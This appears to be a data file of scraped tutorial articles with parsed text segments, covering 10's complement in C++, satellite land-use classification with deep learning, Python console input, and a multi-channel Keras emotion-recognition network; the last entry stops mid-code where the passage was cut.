title
stringlengths
3
221
text
stringlengths
17
477k
parsed
listlengths
0
3.17k
10’s Complement of a decimal number?
9’s complement and 10’s complement are used to make the arithmetic operations in digital system easier. These are used to make computational operations easier using complement implementation and usually trade hardware usage to the program. To obtain the 9’s complement of any number we have to subtract the number with (10n – 1) where n = number of digits in the number, or in a simpler manner we have to subtract each digit of the given decimal number from 9. 10’s complement, it is relatively easy to find out the 10’s complement after finding out the 9’s complement of that number. We have to add 1 with the 9’s complement of any number to obtain the desired 10’s complement of that number. Or if we want to find out the 10’s complement directly, we can do it by following the following formula, (10n – number), where n = number of digits in the number. Let us take a decimal number 456, 9’s complement of this number will be 999 -456 _____ 543 10’s complement of this no 543 (+)1 ______ 544 Input:456 Output:544 Mathematically, 10’s complement = 9’s complement + 1 10’s complement = 10i – num Where, i = total number of digits in num. #include <iostream> #include<math.h> using namespace std; int main() { int i=0,temp,comp,n; n=456; temp = n; while(temp!=0) { i++; temp=temp/10; } comp = pow(10,i) - n; cout<<comp; return 0; }
[ { "code": null, "e": 1302, "s": 1062, "text": "9’s complement and 10’s complement are used to make the arithmetic operations in digital system easier. These are used to make computational operations easier using complement implementation and usually trade hardware usage to the program." }, { "code": null, "e": 1523, "s": 1302, "text": "To obtain the 9’s complement of any number we have to subtract the number with (10n – 1) where n = number of digits in the number, or in a simpler manner we have to subtract each digit of the given decimal number from 9." }, { "code": null, "e": 1919, "s": 1523, "text": "10’s complement, it is relatively easy to find out the 10’s complement after finding out the 9’s complement of that number. We have to add 1 with the 9’s complement of any number to obtain the desired 10’s complement of that number. Or if we want to find out the 10’s complement directly, we can do it by following the following formula, (10n – number), where n = number of digits in the number." }, { "code": null, "e": 1991, "s": 1919, "text": "Let us take a decimal number 456, 9’s complement of this number will be" }, { "code": null, "e": 2010, "s": 1991, "text": "999\n-456\n_____\n543" }, { "code": null, "e": 2037, "s": 2010, "text": "10’s complement of this no" }, { "code": null, "e": 2057, "s": 2037, "text": "543\n(+)1\n______\n544" }, { "code": null, "e": 2078, "s": 2057, "text": "Input:456\nOutput:544" }, { "code": null, "e": 2094, "s": 2078, "text": "Mathematically," }, { "code": null, "e": 2159, "s": 2094, "text": "10’s complement = 9’s complement + 1\n10’s complement = 10i – num" }, { "code": null, "e": 2201, "s": 2159, "text": "Where, i = total number of digits in num." }, { "code": null, "e": 2430, "s": 2201, "text": "#include <iostream>\n#include<math.h>\nusing namespace std;\nint main() {\n int i=0,temp,comp,n;\n n=456;\n temp = n;\n while(temp!=0) {\n i++;\n temp=temp/10;\n }\n comp = pow(10,i) - n;\n cout<<comp;\n return 0;\n}" } ]
Land use/Land cover classification with Deep Learning | by Abdishakur | Towards Data Science
Identifying the physical aspect of the earth’s surface (Land cover) as well as how we exploit the land (Land use) is a challenging problem in environment monitoring and many other subdomains. This can be done through field surveys or analyzing satellite images(Remote Sensing). While carrying out field surveys is more comprehensive and authoritative, it is an expensive project and mostly takes a long time to update. With recent developments in the Space industry and the increased availability of satellite images (both free and commercial), deep learning and Convolutional Neural Networks has shown a promising result in land use classification. In this project, I used the freely available Sentinel-2 satellite images to classify 9 land use classes and 24000 labeled images ( Figure 2). The original dataset contains 10 classes and 27000 labeled images and is available here. Here are some images for visualization of the different Land use classes. Sentinel-2 data is multispectral with 13 bands in the visible, near infrared and shortwave infrared spectrum. These bands come in different spatial resolution ranging from 10 m to 60 m, thus images can be categorized as high-medium resolution. While there are other higher resolution satellites available(1m to 0.5 cm), Sentinel-2 data is free and has a high revisit time (5 days) which makes it an excellent option to monitor land use. Although some Deep learning architectures can take all 13 bands as input, it was necessary to preprocess data. The images were in TIFF format and some of the architectures I tried could not accommodate it. I opted to use GDAL and Rasterio, being my favorite choice of tool and familiarity with them, to transform them into JPG format and select bands. gdal_translate did the trick. gdal_translate -of GTiff -b 1 -b 10 -b 13 input_sentinel_13_band.tif output_RGB.tif These are some of the band combination I have tried to experiment: All 13 bands Red, Geen, Blue (RGB) Bands Shortwave Infrared(SWIR) High-resolution Bands (Bands with 10–20 m) Special Band Combinations — here domain knowledge in Remote sensing helps a lot. Some band combinations can elicit Agriculture, vegetation, water or land. Data Augmentation with different combinations (i,e. RGB with Special bands) I used Transfer learning (Resnet50) with Fastai library to train my model. Thanks to amazing deep learning courses by the Fastai team, the techniques used here are from the Deep learning course materials. The procedure I followed training the model was: Training the last layer Try data augmentation Freeze all layers and retrain from scratch Techniques used in modelling are among others: Learning rate finder, Stochastic Gradient descent with restarts, and Annealing. As mentioned in the preprocessing section, I have experimented with different band combinations. The highest accuracy of my model is 0.94 and while this is less than the accuracy reported in the original paper with the dataset (0.98), it is relatively high for my project and its objectives. The result of all my experiment is in this table below (Reflections on key takeaways section): +------------------------+-----------------------------+ | Bands | Result(Accuracy) | +------------------------+-----------------------------+ | All Bands | 0.83 | | RGB | 0.84 | | High Resolution Bands | 0.81 | | Special Bands | 0.94 | | RGB+Special Bands | 0.80 | +------------------------+-----------------------------+ Some of the classes that the model found out to be challenging to distinguish are Forest and SeaLake as shown in the Confusion matrix ( Figure 3). with a close look at the images of these two classes, one can infer that even the human eye is difficult to clearly differentiate. Domain knowledge in band combinations helps improve this particular model. All the literature I have seen in Deep learning applications with Land use / Land cover classification use the same bands for all of their class inputs(i,e. RGB or SWIR). My method allowed me to increase almost an accuracy of 10%. While I have assumed that more bands would definitely improve my model, I found out to be not the case. Using all 13 bands did not perform well. This can be attributed to the inclusion of low-resolution bands. But again, using only High-resolution bands has one of the lowest accuracy (0.81). Another experiment was to increase the dataset by adding together RGB images and the Special band combinations into the same folder thus doubling the number of images available for training. This has the lowest accuracy (0.80). Notebook is available here.
[ { "code": null, "e": 591, "s": 172, "text": "Identifying the physical aspect of the earth’s surface (Land cover) as well as how we exploit the land (Land use) is a challenging problem in environment monitoring and many other subdomains. This can be done through field surveys or analyzing satellite images(Remote Sensing). While carrying out field surveys is more comprehensive and authoritative, it is an expensive project and mostly takes a long time to update." }, { "code": null, "e": 822, "s": 591, "text": "With recent developments in the Space industry and the increased availability of satellite images (both free and commercial), deep learning and Convolutional Neural Networks has shown a promising result in land use classification." }, { "code": null, "e": 1053, "s": 822, "text": "In this project, I used the freely available Sentinel-2 satellite images to classify 9 land use classes and 24000 labeled images ( Figure 2). The original dataset contains 10 classes and 27000 labeled images and is available here." }, { "code": null, "e": 1127, "s": 1053, "text": "Here are some images for visualization of the different Land use classes." }, { "code": null, "e": 1564, "s": 1127, "text": "Sentinel-2 data is multispectral with 13 bands in the visible, near infrared and shortwave infrared spectrum. These bands come in different spatial resolution ranging from 10 m to 60 m, thus images can be categorized as high-medium resolution. While there are other higher resolution satellites available(1m to 0.5 cm), Sentinel-2 data is free and has a high revisit time (5 days) which makes it an excellent option to monitor land use." }, { "code": null, "e": 1946, "s": 1564, "text": "Although some Deep learning architectures can take all 13 bands as input, it was necessary to preprocess data. The images were in TIFF format and some of the architectures I tried could not accommodate it. I opted to use GDAL and Rasterio, being my favorite choice of tool and familiarity with them, to transform them into JPG format and select bands. gdal_translate did the trick." }, { "code": null, "e": 2030, "s": 1946, "text": "gdal_translate -of GTiff -b 1 -b 10 -b 13 input_sentinel_13_band.tif output_RGB.tif" }, { "code": null, "e": 2097, "s": 2030, "text": "These are some of the band combination I have tried to experiment:" }, { "code": null, "e": 2110, "s": 2097, "text": "All 13 bands" }, { "code": null, "e": 2138, "s": 2110, "text": "Red, Geen, Blue (RGB) Bands" }, { "code": null, "e": 2163, "s": 2138, "text": "Shortwave Infrared(SWIR)" }, { "code": null, "e": 2206, "s": 2163, "text": "High-resolution Bands (Bands with 10–20 m)" }, { "code": null, "e": 2361, "s": 2206, "text": "Special Band Combinations — here domain knowledge in Remote sensing helps a lot. Some band combinations can elicit Agriculture, vegetation, water or land." }, { "code": null, "e": 2437, "s": 2361, "text": "Data Augmentation with different combinations (i,e. RGB with Special bands)" }, { "code": null, "e": 2691, "s": 2437, "text": "I used Transfer learning (Resnet50) with Fastai library to train my model. Thanks to amazing deep learning courses by the Fastai team, the techniques used here are from the Deep learning course materials. The procedure I followed training the model was:" }, { "code": null, "e": 2715, "s": 2691, "text": "Training the last layer" }, { "code": null, "e": 2737, "s": 2715, "text": "Try data augmentation" }, { "code": null, "e": 2780, "s": 2737, "text": "Freeze all layers and retrain from scratch" }, { "code": null, "e": 2907, "s": 2780, "text": "Techniques used in modelling are among others: Learning rate finder, Stochastic Gradient descent with restarts, and Annealing." }, { "code": null, "e": 3294, "s": 2907, "text": "As mentioned in the preprocessing section, I have experimented with different band combinations. The highest accuracy of my model is 0.94 and while this is less than the accuracy reported in the original paper with the dataset (0.98), it is relatively high for my project and its objectives. The result of all my experiment is in this table below (Reflections on key takeaways section):" }, { "code": null, "e": 3881, "s": 3294, "text": " +------------------------+-----------------------------+ | Bands | Result(Accuracy) | +------------------------+-----------------------------+ | All Bands | 0.83 | | RGB | 0.84 | | High Resolution Bands | 0.81 | | Special Bands | 0.94 | | RGB+Special Bands | 0.80 | +------------------------+-----------------------------+" }, { "code": null, "e": 4159, "s": 3881, "text": "Some of the classes that the model found out to be challenging to distinguish are Forest and SeaLake as shown in the Confusion matrix ( Figure 3). with a close look at the images of these two classes, one can infer that even the human eye is difficult to clearly differentiate." }, { "code": null, "e": 4465, "s": 4159, "text": "Domain knowledge in band combinations helps improve this particular model. All the literature I have seen in Deep learning applications with Land use / Land cover classification use the same bands for all of their class inputs(i,e. RGB or SWIR). My method allowed me to increase almost an accuracy of 10%." }, { "code": null, "e": 4758, "s": 4465, "text": "While I have assumed that more bands would definitely improve my model, I found out to be not the case. Using all 13 bands did not perform well. This can be attributed to the inclusion of low-resolution bands. But again, using only High-resolution bands has one of the lowest accuracy (0.81)." } ]
Taking input from console in Python
In this tutorial, we are going to learn how to take input from the console in Python. The interactive shell in Python is treated as a console. We can take the user entered data the console using input() function. # taking input from the user a = input() # printing the data print("User data:-", a) Tutorialspoint User data:- Tutorialspoint If you run the above code, then you will get the following result. Tutorialspoint User data:- Tutorialspoint The data that is entered by the user will be in the string format. If you have any doubts in the tutorial, mention them in the comment section.
[ { "code": null, "e": 1148, "s": 1062, "text": "In this tutorial, we are going to learn how to take input from the console in Python." }, { "code": null, "e": 1275, "s": 1148, "text": "The interactive shell in Python is treated as a console. We can take the user entered data the console using input() function." }, { "code": null, "e": 1402, "s": 1275, "text": "# taking input from the user\na = input()\n# printing the data\nprint(\"User data:-\", a)\nTutorialspoint\nUser data:- Tutorialspoint" }, { "code": null, "e": 1469, "s": 1402, "text": "If you run the above code, then you will get the following result." }, { "code": null, "e": 1511, "s": 1469, "text": "Tutorialspoint\nUser data:- Tutorialspoint" }, { "code": null, "e": 1655, "s": 1511, "text": "The data that is entered by the user will be in the string format. If you have any doubts in the\ntutorial, mention them in the comment section." } ]
The Multi-Channel Neural Network. Neural Networks can, and should, be... | by Eugenio Zuccarelli | Towards Data Science
Neural Networks are widely used across multiple domains, such as Computer Vision, Audio Classification, Natural Language Processing, etc. In most cases, they are considered in each of these domains individually. However, in real-life settings, it is rarely the case that this is the optimal configuration. It is much more common to have multiple channels, meaning several different types of inputs. Similarly to how humans extract insights using a wide range of sensory inputs (audio, visual, etc.), Neural Networks can (and should) be trained on multiple inputs. Let’s take, for example, the task of emotion recognition. Humans do not use a single input to effectively classify the interlocutor’s emotion. They do not use, for instance, the facial expressions (visual), the voice (audio), or the meaning of words (text) of the interlocutor only, but a mixture of them. Similarly, Neural Networks can be trained on multiple inputs, such as images, audio and text, processed accordingly (through CNN, NLP, etc.), to come up with an effective prediction of the target emotion. By doing so, Neural Networks can be better able to capture the subtleties that are difficult to get from each channel individually (e.g. sarcasm), similarly to humans. Considering the task of emotion recognition, that for simplicity we restrict to three classes (Positive, Negative and Neutral), we can think of the system as the following: The system picks up the audio through a microphone, computes the MEL Spectrogram of the sound as image and transcribes it into a string of text. These two signals are then used as the inputs to the model, each fed to a branch of it. The Neural Network is, indeed, formed by two sections: The left branch, performing Image Classification through a Convolutional Neural Network The right branch, performing NLP on the text, using Embeddings. Finally, the output of each side is fed into a common set of Dense layers, where the last one has three neurons to respectively classify the three classes (Positive, Neutral and Negative). In this example, we will use the MELD dataset, consisting of short conversations with associated emotion labels, indicating whether the sentiment of the statement is Positive, Neutral or Negative. The dataset can be found here. You can also find the complete code of this article here. Right after the sound is collected, the system computes the Spectrogram of the audio signal. The state-of-the-art features for audio classification are MEL Spectrograms and MEL Frequency Cepstral Coefficients. For this example, we will use the MEL Spectrogram. First of all, we will obviously load the data from a folder containing the audios, split across Training, Validation and Test: import gensim.models as gmimport glob as gbimport keras.applications as kaimport keras.layers as klimport keras.models as kmimport keras.optimizers as koimport keras_preprocessing.image as kiimport keras_preprocessing.sequence as ksimport keras_preprocessing.text as ktimport numpy as npimport pandas as pdimport pickle as pkimport tensorflow as tfimport utils as ut# DataData_dir = np.array(gb.glob('../Data/MELD.Raw/train_splits/*'))Validation_dir = np.array(gb.glob('../Data/MELD.Raw/dev_splits_complete/*'))Test_dir = np.array(gb.glob('../Data/MELD.Raw/output_repeated_splits_test/*'))# ParametersBATCH = 16EMBEDDING_LENGTH = 32 We can then loop through each audio file in these three folders, compute the MEL Spectrogram and save it as an image into a new folder: # Convert Audio to Spectrogramsfor file in Data_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram(filename, name)for file in Validation_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram_validation(filename, name)for file in Test_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram_test(filename, name) To do so, we have created a function in the utilities script for Training, Validation and Test. This function uses the librosa package to load the audio file, process it and then save it as an image: import librosaimport librosa.displayimport matplotlib.pyplot as pltimport numpy as npimport path as phimport pydub as pbimport speech_recognition as srimport warningsdef create_spectrogram(filename, name): plt.interactive(False) clip, sample_rate = librosa.load(filename, sr=None) fig = plt.figure(figsize=[0.72, 0.72]) ax = fig.add_subplot(111) ax.axes.get_xaxis().set_visible(False) ax.axes.get_yaxis().set_visible(False) ax.set_frame_on(False) S = librosa.feature.melspectrogram(y=clip, sr=sample_rate) librosa.display.specshow(librosa.power_to_db(S, ref=np.max)) filename = '../Images/Train/' + name + '.jpg' plt.savefig(filename, dpi=400, bbox_inches='tight', pad_inches=0) plt.close() fig.clf() plt.close(fig) plt.close('all') del filename, name, clip, sample_rate, fig, ax, S Once we have converted each audio signal into an image representing the corresponding Spectrogram, we can load the dataset containing information on the labels of each audio. To properly link each audio file to its Sentiment, we create an ID column containing the name of the image file for that sample: # Data Loadingtrain = pd.read_csv('../Data/MELD.Raw/train_sent_emo.csv', dtype=str)validation = pd.read_csv('../Data/MELD.Raw/dev_sent_emo.csv', dtype=str)test = pd.read_csv('../Data/MELD.Raw/test_sent_emo.csv', dtype=str)# Create mapping to identify audio filestrain["ID"] = 'dia'+train["Dialogue_ID"]+'_utt'+train["Utterance_ID"]+'.jpg'validation["ID"] = 'dia'+validation["Dialogue_ID"]+'_utt'+validation["Utterance_ID"]+'.jpg'test["ID"] = 'dia'+test["Dialogue_ID"]+'_utt'+test["Utterance_ID"]+'.jpg' At the same time, we also need to take the text associated with an audio signal and process it using NLP techniques to transform it into a numeric vector so that the Neural Network can process it. Since we already have information on the text from the MELD dataset itself, we can go ahead with it. Otherwise, if the information was not available, to do this, we could use text conversion libraries like Google Cloud’s speech_recognition: # Text Featurestokenizer = kt.Tokenizer(num_words=5000)tokenizer.fit_on_texts(train['Utterance'])vocab_size = len(tokenizer.word_index) + 1train_tokens = tokenizer.texts_to_sequences(train['Utterance'])text_features = pd.DataFrame(ks.pad_sequences(train_tokens, maxlen=200))validation_tokens = tokenizer.texts_to_sequences(validation['Utterance'])validation_features = pd.DataFrame(ks.pad_sequences(validation_tokens, maxlen=200)) We first tokenise the sentences spoken in each audio and then convert them into numeric vectors of length two hundred. One of the trickiest aspects of putting together multi-media inputs, is the creation of a custom Data Generator. This structure is basically a function able to iteratively return to the model the next batch of input every time that it is called. Using Keras’ pre-made generator is relatively easy, but there is no implementation allowing you to merge together multiple inputs and make sure that both inputs are fed into the model side by side without errors. The following code is general enough that it can be used in different settings, not just related to this example. In particular, it takes a folder location, where the images are located, and a “normal” dataset, having samples in the rows and features in the columns. It then iteratively provides the next samples of both images and text features in this case, both in batches of the same size: # Data Pipelinedef train_generator(features, batch): # Image Generator train_generator = ki.ImageDataGenerator( rescale=1. / 255.) train_generator = train_generator.flow_from_dataframe( dataframe=train, directory="../Images/Train/", x_col="ID", y_col="Sentiment", batch_size=batch, seed=0, shuffle=False, class_mode="categorical", target_size=(64, 64)) train_iterator = features.iterrows() j = 0 i = 0 while True: genX2 = pd.DataFrame(columns=features.columns) while i < batch: k,r = train_iterator.__next__() r = pd.DataFrame([r], columns=genX2.columns) genX2 = genX2.append(r) j += 1 i += 1 if j == train.shape[0]: X1i = train_generator.next() train_generator = ki.ImageDataGenerator( rescale=1. / 255.) train_generator = train_generator.flow_from_dataframe( dataframe=train, directory="../Images/Train/", x_col="ID", y_col="Sentiment", batch_size=batch, seed=0, shuffle=False, class_mode="categorical", target_size=(64, 64)) # Text Generator train_iterator = features.iterrows() i = 0 j=0 X2i = genX2 genX2 = pd.DataFrame(columns=features.columns) yield [X1i[0], tf.convert_to_tensor(X2i.values, dtype=tf.float32)], X1i[1] X1i = train_generator.next() X2i = genX2 i = 0 yield [X1i[0], tf.convert_to_tensor(X2i.values, dtype=tf.float32)], X1i[1] Finally, we can create the model having as input images (Spectrogram) and text (Transcriptions), and that processes them. The inputs consist of images made of 64x64 pixels and 3 channels (RGB), and “normal” numeric features, of length 200, representing the encoding of the text: # Model# Inputsimages = km.Input(shape=(64, 64, 3))features = km.Input(shape=(200, )) The Image Classification branch is made of an initial VGG19 network and then a set of custom layers. By using VGG19, we can take advantage of the benefits of using Transfer Learning. In particular, since the model has been pre-trained on the ImageNet dataset, it already starts with coefficients initialised to values meaningful for image classification tasks. The output is then fed into a series of layers that can learn the specific characteristics of this type of images and then outputted to the next common layers: # Transfer Learning Basesvgg19 = ka.VGG19(weights='imagenet', include_top=False)vgg19.trainable = False# Image Classification Branchx = vgg19(images)x = kl.GlobalAveragePooling2D()(x)x = kl.Dense(32, activation='relu')(x)x = kl.Dropout(rate=0.25)(x)x = km.Model(inputs=images, outputs=x) The NLP Branch uses a Long Short-Term Memory (LSTM) layer, together with an Embedding layer to process the data. Dropout layers are also added to avoid the model overfishing, similarly to what done in the CNN Branch: # Text Classification Branchy = kl.Embedding(vocab_size, EMBEDDING_LENGTH, input_length=200)(features)y = kl.SpatialDropout1D(0.25)(y)y = kl.LSTM(25, dropout=0.25, recurrent_dropout=0.25)(y)y = kl.Dropout(0.25)(y)y = km.Model(inputs=features, outputs=y) We then can combine these two outputs and feed them into a series of Dense layers. A set of dense layers is able to capture information that is available only when both audio and text signals are combined, and is not identifiable from each input individually. We also use an Adam optimizer with learning rate 0.0001, which is generally a great combination: combined = kl.concatenate([x.output, y.output])z = kl.Dense(32, activation="relu")(combined)z = kl.Dropout(rate=0.25)(z)z = kl.Dense(32, activation="relu")(z)z = kl.Dropout(rate=0.25)(z)z = kl.Dense(3, activation="softmax")(z)model = km.Model(inputs=[x.input, y.input], outputs=z)model.compile(optimizer=ko.Adam(lr=0.0001), loss='categorical_crossentropy', metrics='accuracy')model.summary() The model can then be trained using the Training and Validation Generators that we previously created by doing: # HyperparametersEPOCHS = 13TRAIN_STEPS = np.floor(train.shape[0]/BATCH)VALIDATION_STEPS = np.floor(validation.shape[0]/BATCH)# Model Trainingmodel.fit_generator(generator=train_generator(text_features, BATCH), steps_per_epoch=TRAIN_STEPS, validation_data=validation_generator(validation_features, BATCH), validation_steps=VALIDATION_STEPS, epochs=EPOCHS) Lastly, the model is evaluated on a set of data, for instance the Validation set alone, and then saved as a file to load when used in “Live” scenarios: # Performance Evaluation# Validationmodel.evaluate_generator(generator=validation_generator(validation_features, BATCH))# Save the Model and Labelsmodel.save('Model.h5') Overall, we built a system able to take multiple types of inputs (images, text, etc.), preprocess them and then feed them to a Neural Network consisting of a branch per input. Each branch individually processes its input for then converging into a common set of layers predicting the final output. The specific steps are: Data Loading Preprocess Input Separately (Spectrogram, Tokenization) Creating a Custom Data Generator Building the Model Architecture Model Training Performance Evaluation To read more articles like this, follow me on Twitter, LinkedIn or my Website.
[ { "code": null, "e": 735, "s": 171, "text": "Neural Networks are widely used across multiple domains, such as Computer Vision, Audio Classification, Natural Language Processing, etc. In most cases, they are considered in each of these domains individually. However, in real-life settings, it is rarely the case that this is the optimal configuration. It is much more common to have multiple channels, meaning several different types of inputs. Similarly to how humans extract insights using a wide range of sensory inputs (audio, visual, etc.), Neural Networks can (and should) be trained on multiple inputs." }, { "code": null, "e": 793, "s": 735, "text": "Let’s take, for example, the task of emotion recognition." }, { "code": null, "e": 1414, "s": 793, "text": "Humans do not use a single input to effectively classify the interlocutor’s emotion. They do not use, for instance, the facial expressions (visual), the voice (audio), or the meaning of words (text) of the interlocutor only, but a mixture of them. Similarly, Neural Networks can be trained on multiple inputs, such as images, audio and text, processed accordingly (through CNN, NLP, etc.), to come up with an effective prediction of the target emotion. By doing so, Neural Networks can be better able to capture the subtleties that are difficult to get from each channel individually (e.g. sarcasm), similarly to humans." }, { "code": null, "e": 1587, "s": 1414, "text": "Considering the task of emotion recognition, that for simplicity we restrict to three classes (Positive, Negative and Neutral), we can think of the system as the following:" }, { "code": null, "e": 1875, "s": 1587, "text": "The system picks up the audio through a microphone, computes the MEL Spectrogram of the sound as image and transcribes it into a string of text. These two signals are then used as the inputs to the model, each fed to a branch of it. The Neural Network is, indeed, formed by two sections:" }, { "code": null, "e": 1963, "s": 1875, "text": "The left branch, performing Image Classification through a Convolutional Neural Network" }, { "code": null, "e": 2027, "s": 1963, "text": "The right branch, performing NLP on the text, using Embeddings." }, { "code": null, "e": 2216, "s": 2027, "text": "Finally, the output of each side is fed into a common set of Dense layers, where the last one has three neurons to respectively classify the three classes (Positive, Neutral and Negative)." }, { "code": null, "e": 2444, "s": 2216, "text": "In this example, we will use the MELD dataset, consisting of short conversations with associated emotion labels, indicating whether the sentiment of the statement is Positive, Neutral or Negative. The dataset can be found here." }, { "code": null, "e": 2502, "s": 2444, "text": "You can also find the complete code of this article here." }, { "code": null, "e": 2763, "s": 2502, "text": "Right after the sound is collected, the system computes the Spectrogram of the audio signal. The state-of-the-art features for audio classification are MEL Spectrograms and MEL Frequency Cepstral Coefficients. For this example, we will use the MEL Spectrogram." }, { "code": null, "e": 2890, "s": 2763, "text": "First of all, we will obviously load the data from a folder containing the audios, split across Training, Validation and Test:" }, { "code": null, "e": 3523, "s": 2890, "text": "import gensim.models as gmimport glob as gbimport keras.applications as kaimport keras.layers as klimport keras.models as kmimport keras.optimizers as koimport keras_preprocessing.image as kiimport keras_preprocessing.sequence as ksimport keras_preprocessing.text as ktimport numpy as npimport pandas as pdimport pickle as pkimport tensorflow as tfimport utils as ut# DataData_dir = np.array(gb.glob('../Data/MELD.Raw/train_splits/*'))Validation_dir = np.array(gb.glob('../Data/MELD.Raw/dev_splits_complete/*'))Test_dir = np.array(gb.glob('../Data/MELD.Raw/output_repeated_splits_test/*'))# ParametersBATCH = 16EMBEDDING_LENGTH = 32" }, { "code": null, "e": 3659, "s": 3523, "text": "We can then loop through each audio file in these three folders, compute the MEL Spectrogram and save it as an image into a new folder:" }, { "code": null, "e": 4079, "s": 3659, "text": "# Convert Audio to Spectrogramsfor file in Data_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram(filename, name)for file in Validation_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram_validation(filename, name)for file in Test_dir: filename, name = file, file.split('/')[-1].split('.')[0] ut.create_spectrogram_test(filename, name)" }, { "code": null, "e": 4279, "s": 4079, "text": "To do so, we have created a function in the utilities script for Training, Validation and Test. This function uses the librosa package to load the audio file, process it and then save it as an image:" }, { "code": null, "e": 5110, "s": 4279, "text": "import librosaimport librosa.displayimport matplotlib.pyplot as pltimport numpy as npimport path as phimport pydub as pbimport speech_recognition as srimport warningsdef create_spectrogram(filename, name): plt.interactive(False) clip, sample_rate = librosa.load(filename, sr=None) fig = plt.figure(figsize=[0.72, 0.72]) ax = fig.add_subplot(111) ax.axes.get_xaxis().set_visible(False) ax.axes.get_yaxis().set_visible(False) ax.set_frame_on(False) S = librosa.feature.melspectrogram(y=clip, sr=sample_rate) librosa.display.specshow(librosa.power_to_db(S, ref=np.max)) filename = '../Images/Train/' + name + '.jpg' plt.savefig(filename, dpi=400, bbox_inches='tight', pad_inches=0) plt.close() fig.clf() plt.close(fig) plt.close('all') del filename, name, clip, sample_rate, fig, ax, S" }, { "code": null, "e": 5414, "s": 5110, "text": "Once we have converted each audio signal into an image representing the corresponding Spectrogram, we can load the dataset containing information on the labels of each audio. To properly link each audio file to its Sentiment, we create an ID column containing the name of the image file for that sample:" }, { "code": null, "e": 5917, "s": 5414, "text": "# Data Loadingtrain = pd.read_csv('../Data/MELD.Raw/train_sent_emo.csv', dtype=str)validation = pd.read_csv('../Data/MELD.Raw/dev_sent_emo.csv', dtype=str)test = pd.read_csv('../Data/MELD.Raw/test_sent_emo.csv', dtype=str)# Create mapping to identify audio filestrain[\"ID\"] = 'dia'+train[\"Dialogue_ID\"]+'_utt'+train[\"Utterance_ID\"]+'.jpg'validation[\"ID\"] = 'dia'+validation[\"Dialogue_ID\"]+'_utt'+validation[\"Utterance_ID\"]+'.jpg'test[\"ID\"] = 'dia'+test[\"Dialogue_ID\"]+'_utt'+test[\"Utterance_ID\"]+'.jpg'" }, { "code": null, "e": 6355, "s": 5917, "text": "At the same time, we also need to take the text associated with an audio signal and process it using NLP techniques to transform it into a numeric vector so that the Neural Network can process it. Since we already have information on the text from the MELD dataset itself, we can go ahead with it. Otherwise, if the information was not available, to do this, we could use text conversion libraries like Google Cloud’s speech_recognition:" }, { "code": null, "e": 6786, "s": 6355, "text": "# Text Featurestokenizer = kt.Tokenizer(num_words=5000)tokenizer.fit_on_texts(train['Utterance'])vocab_size = len(tokenizer.word_index) + 1train_tokens = tokenizer.texts_to_sequences(train['Utterance'])text_features = pd.DataFrame(ks.pad_sequences(train_tokens, maxlen=200))validation_tokens = tokenizer.texts_to_sequences(validation['Utterance'])validation_features = pd.DataFrame(ks.pad_sequences(validation_tokens, maxlen=200))" }, { "code": null, "e": 6905, "s": 6786, "text": "We first tokenise the sentences spoken in each audio and then convert them into numeric vectors of length two hundred." }, { "code": null, "e": 7364, "s": 6905, "text": "One of the trickiest aspects of putting together multi-media inputs, is the creation of a custom Data Generator. This structure is basically a function able to iteratively return to the model the next batch of input every time that it is called. Using Keras’ pre-made generator is relatively easy, but there is no implementation allowing you to merge together multiple inputs and make sure that both inputs are fed into the model side by side without errors." }, { "code": null, "e": 7758, "s": 7364, "text": "The following code is general enough that it can be used in different settings, not just related to this example. In particular, it takes a folder location, where the images are located, and a “normal” dataset, having samples in the rows and features in the columns. It then iteratively provides the next samples of both images and text features in this case, both in batches of the same size:" }, { "code": null, "e": 9545, "s": 7758, "text": "# Data Pipelinedef train_generator(features, batch): # Image Generator train_generator = ki.ImageDataGenerator( rescale=1. / 255.) train_generator = train_generator.flow_from_dataframe( dataframe=train, directory=\"../Images/Train/\", x_col=\"ID\", y_col=\"Sentiment\", batch_size=batch, seed=0, shuffle=False, class_mode=\"categorical\", target_size=(64, 64)) train_iterator = features.iterrows() j = 0 i = 0 while True: genX2 = pd.DataFrame(columns=features.columns) while i < batch: k,r = train_iterator.__next__() r = pd.DataFrame([r], columns=genX2.columns) genX2 = genX2.append(r) j += 1 i += 1 if j == train.shape[0]: X1i = train_generator.next() train_generator = ki.ImageDataGenerator( rescale=1. / 255.) train_generator = train_generator.flow_from_dataframe( dataframe=train, directory=\"../Images/Train/\", x_col=\"ID\", y_col=\"Sentiment\", batch_size=batch, seed=0, shuffle=False, class_mode=\"categorical\", target_size=(64, 64)) # Text Generator train_iterator = features.iterrows() i = 0 j=0 X2i = genX2 genX2 = pd.DataFrame(columns=features.columns) yield [X1i[0], tf.convert_to_tensor(X2i.values, dtype=tf.float32)], X1i[1] X1i = train_generator.next() X2i = genX2 i = 0 yield [X1i[0], tf.convert_to_tensor(X2i.values, dtype=tf.float32)], X1i[1]" }, { "code": null, "e": 9667, "s": 9545, "text": "Finally, we can create the model having as input images (Spectrogram) and text (Transcriptions), and that processes them." }, { "code": null, "e": 9824, "s": 9667, "text": "The inputs consist of images made of 64x64 pixels and 3 channels (RGB), and “normal” numeric features, of length 200, representing the encoding of the text:" }, { "code": null, "e": 9910, "s": 9824, "text": "# Model# Inputsimages = km.Input(shape=(64, 64, 3))features = km.Input(shape=(200, ))" }, { "code": null, "e": 10431, "s": 9910, "text": "The Image Classification branch is made of an initial VGG19 network and then a set of custom layers. By using VGG19, we can take advantage of the benefits of using Transfer Learning. In particular, since the model has been pre-trained on the ImageNet dataset, it already starts with coefficients initialised to values meaningful for image classification tasks. The output is then fed into a series of layers that can learn the specific characteristics of this type of images and then outputted to the next common layers:" }, { "code": null, "e": 10719, "s": 10431, "text": "# Transfer Learning Basesvgg19 = ka.VGG19(weights='imagenet', include_top=False)vgg19.trainable = False# Image Classification Branchx = vgg19(images)x = kl.GlobalAveragePooling2D()(x)x = kl.Dense(32, activation='relu')(x)x = kl.Dropout(rate=0.25)(x)x = km.Model(inputs=images, outputs=x)" }, { "code": null, "e": 10936, "s": 10719, "text": "The NLP Branch uses a Long Short-Term Memory (LSTM) layer, together with an Embedding layer to process the data. Dropout layers are also added to avoid the model overfishing, similarly to what done in the CNN Branch:" }, { "code": null, "e": 11190, "s": 10936, "text": "# Text Classification Branchy = kl.Embedding(vocab_size, EMBEDDING_LENGTH, input_length=200)(features)y = 